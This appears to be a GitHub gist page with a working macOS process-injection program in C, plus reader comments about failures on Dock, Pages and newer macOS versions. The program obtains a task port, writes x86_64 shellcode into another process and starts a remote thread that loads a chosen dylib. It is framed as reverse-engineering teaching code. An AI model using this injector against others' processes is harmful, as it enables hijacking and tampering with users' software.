-
-
Save knightsc/45edfc4903a9d2fa9f5905f60b02ce5a to your computer and use it in GitHub Desktop.
| #include <dlfcn.h> | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <sys/types.h> | |
| #include <mach/mach.h> | |
| #include <mach/error.h> | |
| #include <errno.h> | |
| #include <stdlib.h> | |
| #include <sys/sysctl.h> | |
| #include <sys/mman.h> | |
| #include <sys/stat.h> | |
| #include <pthread.h> | |
| #include <mach/mach_vm.h> | |
| #define STACK_SIZE 65536 | |
| #define CODE_SIZE 128 | |
| // | |
| // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c | |
| // Updated to work on Mojave by creating a stub mach thread that then | |
| // creates a real pthread. Injected mach thread is terminated to clean | |
| // up as well. | |
| // | |
| // Due to popular request: | |
| // | |
| // Simple injector example (and basis of coreruption tool). | |
| // | |
| // If you've looked into research on injection techniques in OS X, you | |
| // probably know about mach_inject. This tool, part of Dino Dai Zovi's | |
| // excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was | |
| // created to inject code in PPC and i386. Since I couldn't find anything | |
| // for x86_64 or ARM, I ended up writing my own tool. | |
| // Since, this tool has exploded in functionality - with many other features, | |
| // including scriptable debugging, fault injection, function hooking, code | |
| // decryption, and what not - which comes in *really* handy on iOS. | |
| // | |
| // coreruption is still closed source, due its highly.. uhm.. useful | |
| // nature. But I'm making this sample free, and I have fully annotated this. | |
| // The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more | |
| // to come in the 2nd Ed (..in time for iOS 9 :-) | |
| // | |
| // Go forth and spread your code :-) | |
| // | |
| // J ([email protected]) 02/05/2014 | |
| // | |
| // v2: With ARM64 - 06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32! | |
| // Get the full bundle at - http://NewOSXBook.com/files/injarm64.tar | |
| // with sample dylib and with script to compile this neatly. | |
| // | |
| //********************************************************************** | |
| // Note ARM code IS messy, and I left the addresses wide apart. That's | |
| // intentional. Basic ARM64 assembly will enable you to tidy this up and | |
| // make the code more compact. | |
| // | |
| // This is *not* meant to be neat - I'm just preparing this for TG's | |
| // upcoming OS X/iOS RE course (http://technologeeks.com/OSXRE) and thought | |
| // this would be interesting to share. See you all in MOXiI 2nd Ed! | |
| //********************************************************************** | |
| // This sample code calls pthread_set_self to promote the injected thread | |
| // to a pthread first - otherwise dlopen and many other calls (which rely | |
| // on pthread_self()) will crash. | |
| // It then calls dlopen() to load the library specified - which will trigger | |
| // the library's constructor (q.e.d as far as code injection is concerned) | |
| // and sleep for a long time. You can of course replace the sleep with | |
| // another function, such as pthread_exit(), etc. | |
| // | |
| // (For the constructor, use: | |
| // | |
| // static void whicheverfunc() __attribute__((constructor)); | |
| // | |
| // in the library you inject) | |
| // | |
| // Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___". | |
| // Reason being, that the above are merely placeholders which will be patched with | |
| // the runtime addresses when code is actually injected. | |
| char injectedCode[] = | |
| // "\xCC" // int3 | |
| "\x55" // push rbp | |
| "\x48\x89\xE5" // mov rbp, rsp | |
| "\x48\x83\xEC\x10" // sub rsp, 0x10 | |
| "\x48\x8D\x7D\xF8" // lea rdi, qword [rbp+var_8] | |
| "\x31\xC0" // xor eax, eax | |
| "\x89\xC1" // mov ecx, eax | |
| "\x48\x8D\x15\x21\x00\x00\x00" // lea rdx, qword ptr [rip + 0x21] | |
| "\x48\x89\xCE" // mov rsi, rcx | |
| "\x48\xB8" // movabs rax, pthread_create_from_mach_thread | |
| "PTHRDCRT" | |
| "\xFF\xD0" // call rax | |
| "\x89\x45\xF4" // mov dword [rbp+var_C], eax | |
| "\x48\x83\xC4\x10" // add rsp, 0x10 | |
| "\x5D" // pop rbp | |
| "\x48\xc7\xc0\x13\x0d\x00\x00" // mov rax, 0xD13 | |
| "\xEB\xFE" // jmp 0x0 | |
| "\xC3" // ret | |
| "\x55" // push rbp | |
| "\x48\x89\xE5" // mov rbp, rsp | |
| "\x48\x83\xEC\x10" // sub rsp, 0x10 | |
| "\xBE\x01\x00\x00\x00" // mov esi, 0x1 | |
| "\x48\x89\x7D\xF8" // mov qword [rbp+var_8], rdi | |
| "\x48\x8D\x3D\x1D\x00\x00\x00" // lea rdi, qword ptr [rip + 0x2c] | |
| "\x48\xB8" // movabs rax, dlopen | |
| "DLOPEN__" | |
| "\xFF\xD0" // call rax | |
| "\x31\xF6" // xor esi, esi | |
| "\x89\xF7" // mov edi, esi | |
| "\x48\x89\x45\xF0" // mov qword [rbp+var_10], rax | |
| "\x48\x89\xF8" // mov rax, rdi | |
| "\x48\x83\xC4\x10" // add rsp, 0x10 | |
| "\x5D" // pop rbp | |
| "\xC3" // ret | |
| "LIBLIBLIBLIB" | |
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
| "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; | |
| int inject(pid_t pid, const char *lib) | |
| { | |
| task_t remoteTask; | |
| struct stat buf; | |
| /** | |
| * First, check we have the library. Otherwise, we won't be able to inject.. | |
| */ | |
| int rc = stat(lib, &buf); | |
| if (rc != 0) { | |
| fprintf(stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib, strerror(errno)); | |
| //return (-9); | |
| } | |
| mach_error_t kr = 0; | |
| /** | |
| * Second - the critical part - we need task_for_pid in order to get the task port of the target | |
| * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're | |
| * #$%#$%. | |
| * | |
| * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past | |
| * taskgated, but root access suffices for that. | |
| * | |
| */ | |
| kr = task_for_pid(mach_task_self(), pid, &remoteTask); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n", pid, mach_error_string(kr)); | |
| return (-1); | |
| } | |
| /** | |
| * From here on, it's pretty much straightforward - | |
| * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated. | |
| * So, first, stack: | |
| */ | |
| mach_vm_address_t remoteStack64 = (vm_address_t)NULL; | |
| mach_vm_address_t remoteCode64 = (vm_address_t)NULL; | |
| kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); | |
| return (-2); | |
| } | |
| else { | |
| fprintf(stderr, "Allocated remote stack @0x%llx\n", remoteStack64); | |
| } | |
| /** | |
| * Then we allocate the memory for the thread | |
| */ | |
| remoteCode64 = (vm_address_t)NULL; | |
| kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); | |
| return (-2); | |
| } | |
| /** | |
| * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders | |
| * | |
| * Since we use the same shared library cache as our victim, meaning we can use memory addresses from | |
| * OUR address space when we inject.. | |
| */ | |
| int i = 0; | |
| char *possiblePatchLocation = (injectedCode); | |
| for (i = 0; i < 0x100; i++) { | |
| // Patching is crude, but works. | |
| // | |
| extern void *_pthread_set_self; | |
| possiblePatchLocation++; | |
| uint64_t addrOfPthreadCreate = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread"); | |
| uint64_t addrOfPthreadExit = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_exit"); | |
| uint64_t addrOfDlopen = (uint64_t)dlopen; | |
| if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0) { | |
| printf("pthread_create_from_mach_thread @%llx\n", addrOfPthreadCreate); | |
| memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8); | |
| } | |
| if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0) { | |
| printf("dlopen @%llx\n", addrOfDlopen); | |
| memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t)); | |
| } | |
| if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0) { | |
| strcpy(possiblePatchLocation, lib); | |
| } | |
| } | |
| /** | |
| * Write the (now patched) code | |
| */ | |
| kr = mach_vm_write(remoteTask, // Task port | |
| remoteCode64, // Virtual Address (Destination) | |
| (vm_address_t)injectedCode, // Source | |
| sizeof(injectedCode)); // Length of the source | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); | |
| return (-3); | |
| } | |
| /* | |
| * Mark code as executable - This also requires a workaround on iOS, btw. | |
| */ | |
| kr = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE); | |
| /* | |
| * Mark stack as writable - not really necessary | |
| */ | |
| kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr)); | |
| return (-4); | |
| } | |
| /* | |
| * Create thread - This is obviously hardware specific. | |
| */ | |
| x86_thread_state64_t remoteThreadState64; | |
| thread_act_t remoteThread; | |
| memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64)); | |
| remoteStack64 += (STACK_SIZE / 2); // this is the real stack | |
| //remoteStack64 -= 8; // need alignment of 16 | |
| const char *p = (const char *)remoteCode64; | |
| remoteThreadState64.__rip = (u_int64_t)(vm_address_t)remoteCode64; | |
| // set remote Stack Pointer | |
| remoteThreadState64.__rsp = (u_int64_t)remoteStack64; | |
| remoteThreadState64.__rbp = (u_int64_t)remoteStack64; | |
| printf("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p); | |
| /* | |
| * create thread and launch it in one go | |
| */ | |
| kr = thread_create_running(remoteTask, x86_THREAD_STATE64, | |
| (thread_state_t)&remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Unable to create remote thread: error %s", mach_error_string(kr)); | |
| return (-3); | |
| } | |
| // Wait for mach thread to finish | |
| mach_msg_type_number_t thread_state_count = x86_THREAD_STATE64_COUNT; | |
| for (;;) { | |
| kr = thread_get_state(remoteThread, x86_THREAD_STATE64, (thread_state_t)&remoteThreadState64, &thread_state_count); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Error getting stub thread state: error %s", mach_error_string(kr)); | |
| break; | |
| } | |
| if (remoteThreadState64.__rax == 0xD13) { | |
| printf("Stub thread finished\n"); | |
| kr = thread_terminate(remoteThread); | |
| if (kr != KERN_SUCCESS) { | |
| fprintf(stderr, "Error terminating stub thread: error %s", mach_error_string(kr)); | |
| } | |
| break; | |
| } | |
| } | |
| return 0; | |
| } | |
| int main(int argc, const char *argv[]) | |
| { | |
| if (argc < 3) { | |
| fprintf(stderr, "Usage: %s _pid_ _action_\n", argv[0]); | |
| fprintf(stderr, " _action_: path to a dylib on disk\n"); | |
| exit(0); | |
| } | |
| pid_t pid = atoi(argv[1]); | |
| const char *action = argv[2]; | |
| struct stat buf; | |
| int rc = stat(action, &buf); | |
| if (rc == 0) { | |
| inject(pid, action); | |
| } | |
| else { | |
| fprintf(stderr, "Dylib not found\n"); | |
| } | |
| } |
Good eyes. I just updated and removed the extra.
For some reason when I try to inject Dock with this, taskgated will reject it but mach_inject will work fine. Would be interesting to know why taskgate catches this but not mach_inject.
@jslegendre Can you share a link to the version of mach_inject you're using? Also what version of macOS are you running?
@knightsc I am on 10.14.5. I used this example as a test. I have SIP, AMFI, and Gatekeeper disabled as well.
@knightsc I test osxinj on OS X 10.14, it can inject a dylib into testapp, but cannot inject dylib into application such as Pages for sandbox error on dl_open. This inject is same. Could you tell me the difference between osxinj and yours? Thanks a lot.
@myrontann Maybe this can help you https://github.com/flandr/wtf-osx-dlopen
@knightsc I test osxinj on OS X 10.14, it can inject a dylib into testapp, but cannot inject dylib into application such as Pages for sandbox error on dl_open. This inject is same. Could you tell me the difference between osxinj and yours? Thanks a lot.
I have the same problem on OS X 10.15 when i use osxinj 。Did you solve it。
hi ,i test this on os x 10.15 ,it can not work , i debug this by lldb and lldb tell me invalid thread after call pthread_create_from_mach_thread
when call dlopen,it can not load dylib , then i try call dlerror and i get a infomation is "no suitalbe image found"!
Knightsc, could you also do shell code for ARM64?
Version that should work for both x86_64 and ARM64: https://gist.github.com/vocaeq/fbac63d5d36bc6e1d6d99df9c92f75dc
You seem to have(Facepalm. Never mind; system headers are bound to have include guards.)#included 'dlfcn.h' twice; that looks like it could be a problem…?